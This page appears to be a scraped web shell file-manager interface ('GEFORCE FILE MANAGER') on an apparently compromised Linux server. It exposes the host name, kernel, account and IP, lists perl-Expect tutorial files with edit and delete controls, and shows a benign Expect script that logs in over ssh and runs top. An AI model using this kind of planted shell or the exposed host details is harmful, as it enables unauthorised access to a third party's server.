[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.20
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
share
/
doc
/
perl-Expect
/
tutorial
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 1.A.Intro
2,428 B
SET
[ EDIT ]
|
[ DEL ]
📄 2.A.ftp
3,085 B
SET
[ EDIT ]
|
[ DEL ]
📄 2.B.rlogin
4,043 B
SET
[ EDIT ]
|
[ DEL ]
📄 3.A.debugging
1,973 B
SET
[ EDIT ]
|
[ DEL ]
📄 4.A.top
928 B
SET
[ EDIT ]
|
[ DEL ]
📄 5.A.top
1,139 B
SET
[ EDIT ]
|
[ DEL ]
📄 5.B.top
2,450 B
SET
[ EDIT ]
|
[ DEL ]
📄 6.A.smtp-verify
3,260 B
SET
[ EDIT ]
|
[ DEL ]
📄 6.B.modem-init
1,833 B
SET
[ EDIT ]
|
[ DEL ]
📄 README
644 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: 5.A.top
#!/usr/bin/perl # Here we are doing this again only this time we'll do it #without Echoing the password. $RSH='/usr/bin/ssh'; $host_to_login_to=shift(@ARGV); use Expect; print "Enter password: "; # First we have to initialize STDIN in to an expect object. $stdin=Expect->exp_init(\*STDIN); # Now turn off echoing $stdin->exp_stty('-echo'); # The easy way to do this is: #$password=<STDIN>; #chop $password; # The somewhat harder way is to use $stdin->expect. This would look like: # ($match_num,$error,$match,$before,$after)=$stdin->expect(undef,"\r"); $password = $before; # Turn echo back on $stdin->exp_stty('echo'); # print that newline that wasn't echoed print "\n"; $rsh=Expect->spawn($RSH,$host_to_login_to); # Look for a password prompt. $rsh->expect(30,'-re','word:\s$')||(die"Never got password prompt\n"); print $rsh "$password\r"; # Look for a prompt. Prompt can be # $ > or ] followed by a whitespace. $prompt = '[\]\$\>\#]\s$'; # Note the use of -re $rsh->expect(30,'-re',$prompt)||(die "Never got prompt on host\n"); # Start top print $rsh "exec top\r"; # OK, now return control to user. $rsh->interact();